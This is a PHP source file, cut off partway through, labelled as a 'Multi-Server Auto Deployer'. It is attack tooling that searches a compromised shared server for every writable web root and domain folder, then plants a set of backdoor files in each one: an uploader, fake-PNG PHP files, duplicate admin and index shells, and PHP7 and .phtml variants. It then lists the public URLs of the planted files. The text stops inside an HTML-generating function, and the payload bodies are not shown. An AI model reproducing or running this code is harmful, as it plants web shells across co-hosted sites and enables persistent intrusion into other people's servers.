/** * Project: autocrot - gajeproject | 6ickzone * Author: 0x6ick * info: Multi-Server Auto Deployer * Contact: t.me/yungx6ick | Email: spammersuy13@gmail.com */ini_set('display_errors', 1);error_reporting(E_ALL);// Configuration$folderName = '0x0';// Generate all deployment files$files = [ 'index.html' => genHTML(), 'index.php' => wtfexp(), 'readme.txt' => genTXT(), 'otw.php' => genPHP(), 'update.php' => update(), 'update.php7' => update(), 'upme.php' => genUploader(), 'upme.phtml' => genUploader(), 'spm.php' => create_fake_png_php(), 'sempax.php' => sempak(), 'admin.php' => wtfexp(), 'sempax.php7' => sempak(), 'spm.phtml' => create_fake_png_php(),];// Locate possible public_html roots or domain-like foldersfunction locateRoots($start) { $roots = []; $dir = realpath($start); while ($dir && $dir !== '/') { if (is_dir($dir."/public_html")) $roots[] = $dir."/public_html"; foreach (glob($dir."/*", GLOB_ONLYDIR) as $sub) { if (preg_match('/\.[a-z]+$/', basename($sub))) $roots[] = $sub; } $dir = dirname($dir); } return array_unique($roots);}// Deploy files to all detected pathsfunction deployFolder($folderName, $files) { $roots = locateRoots(__DIR__); $deployedUrls = []; foreach ($roots as $htmlPath) { if (is_writable($htmlPath)) { $targetDir = "$htmlPath/$folderName"; if (!is_dir($targetDir)) @mkdir($targetDir, 0777, true); foreach ($files as $fileName => $content) { $filePath = "$targetDir/$fileName"; if (@file_put_contents($filePath, $content) !== false) { $filePathReal = realpath($filePath); $docRootReal = realpath($_SERVER['DOCUMENT_ROOT']); $scheme = $_SERVER['REQUEST_SCHEME'] ?? 'https'; if ($filePathReal && $docRootReal && str_starts_with($filePathReal, $docRootReal)) { // masih di root web utama $relativePath = '/' . ltrim(str_replace($docRootReal, '', $filePathReal), '/'); $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $url = "$scheme://$host$relativePath"; } else { // ambil domain/subdomain dari nama folder yang mirip domain $maybeDomain = basename($htmlPath); if (preg_match('/^[a-z0-9.-]+\.[a-z]{2,}$/i', $maybeDomain)) { $url = "$scheme://$maybeDomain/$folderName/$fileName"; } else { // kalau belum juga, cek parent folder $parent = basename(dirname($htmlPath)); if (preg_match('/^[a-z0-9.-]+\.[a-z]{2,}$/i', $parent)) { $url = "$scheme://$parent/$folderName/$fileName"; } else { // fallback terakhir: path fisik $url = $filePathReal; } } } $deployedUrls[] = $url; } } } } return $deployedUrls;}function genHTML() { return <<<HTML<!DOCTYPE html><html lang="en">
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">